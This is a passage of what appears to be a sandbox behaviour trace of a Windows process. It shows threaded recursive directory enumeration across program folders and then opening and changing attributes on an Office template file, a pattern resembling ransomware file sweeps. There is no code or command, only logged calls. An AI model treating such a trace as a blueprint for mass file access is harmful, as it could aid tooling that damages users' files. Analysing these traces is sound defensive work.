Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*" [0151.896] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x913300 [0151.896] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x941cf0 [0151.896] wcscmp (_String1=".", _String2=".") returned 0 [0151.896] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.896] wcscmp (_String1="..", _String2=".") returned 1 [0151.896] wcscmp (_String1="..", _String2="..") returned 0 [0151.896] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0151.896] wcscmp (_String1="Client.xml", _String2=".") returned 1 [0151.897] wcscmp (_String1="Client.xml", _String2="..") returned 1 [0151.897] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb6) returned 0xd4c71c0 [0151.897] wcscpy (in: _Dest=0xd4c71c0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList" [0151.897] wcscat (in: _Dest=0xd4c71c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\" [0151.897] wcscat (in: _Dest=0xd4c71c0, _Source="Client.xml" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\Client.xml" [0152.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0xd4c71c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c4 [0152.812] FindNextFileW (in: hFindFile=0x941cf0, lpFindFileData=0x913300 | out: lpFindFileData=0x913300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0152.812] FindClose (in: hFindFile=0x941cf0 | out: hFindFile=0x941cf0) returned 1 [0152.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x913300) returned 1 [0152.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b128) returned 1 [0152.812] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935b78) returned 1 Thread: id = 3195 os_tid = 0x1e78 [0151.897] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97b5f8 [0151.897] wcscpy (in: _Dest=0x97b5f8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies" [0151.897] wcscat (in: _Dest=0x97b5f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\" [0151.897] wcscat (in: _Dest=0x97b5f8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*" [0151.897] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911150 [0151.897] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PrivateAssemblies\\*", lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942230 [0151.898] wcscmp (_String1=".", _String2=".") returned 0 [0151.898] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x610018f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x610018f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.898] wcscmp (_String1="..", _String2=".") returned 1 [0151.898] wcscmp (_String1="..", _String2="..") returned 0 [0151.898] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0151.898] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Project.dll", _String2=".") returned 1 [0151.898] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Project.dll", _String2="..") returned 1 [0151.898] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3eb700, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61027a50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a3eb700, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x257a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Project.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0151.898] FindClose (in: hFindFile=0x942230 | out: hFindFile=0x942230) returned 1 [0151.898] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911150) returned 1 [0151.898] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b5f8) returned 1 [0151.898] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934330) returned 1 Thread: id = 3196 os_tid = 0x1e7c [0151.899] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x934330 [0151.899] wcscpy (in: _Dest=0x934330, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies" [0151.899] wcscat (in: _Dest=0x934330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\" [0151.899] wcscat (in: _Dest=0x934330, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*" [0151.899] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911150 [0151.899] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\PublicAssemblies\\*", lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9d10 [0152.215] wcscmp (_String1=".", _String2=".") returned 0 [0152.215] FindNextFileW (in: hFindFile=0x8d9d10, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52694b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61771db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.215] wcscmp (_String1="..", _String2=".") returned 1 [0152.215] wcscmp (_String1="..", _String2="..") returned 0 [0152.215] FindNextFileW (in: hFindFile=0x8d9d10, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f842200, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f842200, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x337a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0152.215] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", _String2=".") returned 1 [0152.215] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.Adapter.dll", _String2="..") returned 1 [0152.215] FindNextFileW (in: hFindFile=0x8d9d10, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b54f00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x526bacf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50b54f00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x197b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0152.215] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", _String2=".") returned 1 [0152.215] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.AddInManager.dll", _String2="..") returned 1 [0152.215] FindNextFileW (in: hFindFile=0x8d9d10, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57dc5d00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x6104dbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x57dc5d00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x97b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0152.215] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", _String2=".") returned 1 [0152.215] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.ComRPCChannel.dll", _String2="..") returned 1 [0152.215] FindNextFileW (in: hFindFile=0x8d9d10, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x590d8a00, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x52694b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x590d8a00, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x117a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0152.215] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", _String2=".") returned 1 [0152.215] wcscmp (_String1="Microsoft.VisualStudio.Tools.Applications.DesignTime.dll", _String2="..") returned 1 [0152.215] FindNextFileW (in: hFindFile=0x8d9d10, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ab3000, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56ab3000, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0152.215] wcscmp (_String1="System.AddIn.dll", _String2=".") returned 1 [0152.215] wcscmp (_String1="System.AddIn.dll", _String2="..") returned 1 [0152.215] FindNextFileW (in: hFindFile=0x8d9d10, lpFindFileData=0x911150 | out: lpFindFileData=0x911150*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ab3000, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x61771db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56ab3000, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x9758, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0152.215] FindClose (in: hFindFile=0x8d9d10 | out: hFindFile=0x8d9d10) returned 1 [0152.216] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911150) returned 1 [0152.216] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934330) returned 1 [0152.216] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x935050) returned 1 Thread: id = 3197 os_tid = 0x1e80 [0151.900] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x88) returned 0x8e73b8 [0151.900] wcscpy (in: _Dest=0x8e73b8, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" [0151.900] wcscat (in: _Dest=0x8e73b8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\" [0151.900] wcscat (in: _Dest=0x8e73b8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*" [0151.900] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911fc0 [0151.900] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\*", lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9d10 [0152.217] wcscmp (_String1=".", _String2=".") returned 0 [0152.217] FindNextFileW (in: hFindFile=0x8d9d10, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f37b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f37b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0152.217] wcscmp (_String1="..", _String2=".") returned 1 [0152.217] wcscmp (_String1="..", _String2="..") returned 0 [0152.217] FindNextFileW (in: hFindFile=0x8d9d10, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="ITEMTE~1")) returned 1 [0152.217] wcscmp (_String1="ItemTemplates", _String2=".") returned 1 [0152.217] wcscmp (_String1="ItemTemplates", _String2="..") returned 1 [0152.217] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa0) returned 0x935050 [0152.217] wcscpy (in: _Dest=0x935050, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" [0152.217] wcscat (in: _Dest=0x935050, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\" [0152.218] wcscat (in: _Dest=0x935050, _Source="ItemTemplates" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" [0155.358] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x935050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf30 [0155.363] FindNextFileW (in: hFindFile=0x8d9d10, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="ITEMTE~1")) returned 0 [0155.363] FindClose (in: hFindFile=0x8d9d10 | out: hFindFile=0x8d9d10) returned 1 [0155.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911fc0) returned 1 [0155.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e73b8) returned 1 [0155.363] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6d88) returned 1 Thread: id = 3198 os_tid = 0x1e84 [0151.901] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa2) returned 0x97b5f8 [0151.901] wcscpy (in: _Dest=0x97b5f8, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" [0151.901] wcscat (in: _Dest=0x97b5f8, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\" [0151.901] wcscat (in: _Dest=0x97b5f8, _Source="*" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*" [0151.901] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9126f8 [0151.901] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*", lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942230 [0151.901] wcscmp (_String1=".", _String2=".") returned 0 [0151.901] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.901] wcscmp (_String1="..", _String2=".") returned 1 [0151.902] wcscmp (_String1="..", _String2="..") returned 0 [0151.902] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0151.902] wcscmp (_String1="Patch", _String2=".") returned 1 [0151.902] wcscmp (_String1="Patch", _String2="..") returned 1 [0151.902] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4ab0 [0151.902] wcscpy (in: _Dest=0x8f4ab0, _Source="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages" [0151.902] wcscat (in: _Dest=0x8f4ab0, _Source="\\" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\" [0151.902] wcscat (in: _Dest=0x8f4ab0, _Source="Patch" | out: _Dest="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch") returned="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch" [0152.813] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8f4ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x175c [0152.814] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x9126f8 | out: lpFindFileData=0x9126f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa989d730, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa989d730, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0152.814] FindClose (in: hFindFile=0x942230 | out: hFindFile=0x942230) returned 1 [0152.814] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9126f8) returned 1 [0152.814] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b5f8) returned 1 [0152.814] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x934480) returned 1 Thread: id = 3199 os_tid = 0x1e88 [0152.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\pitchbook.potx")) returned 0x20 [0152.651] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx", dwFileAttributes=0x20) returned 0 [0152.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Pitchbook.potx" (normalized: "c:\\program files\\microsoft 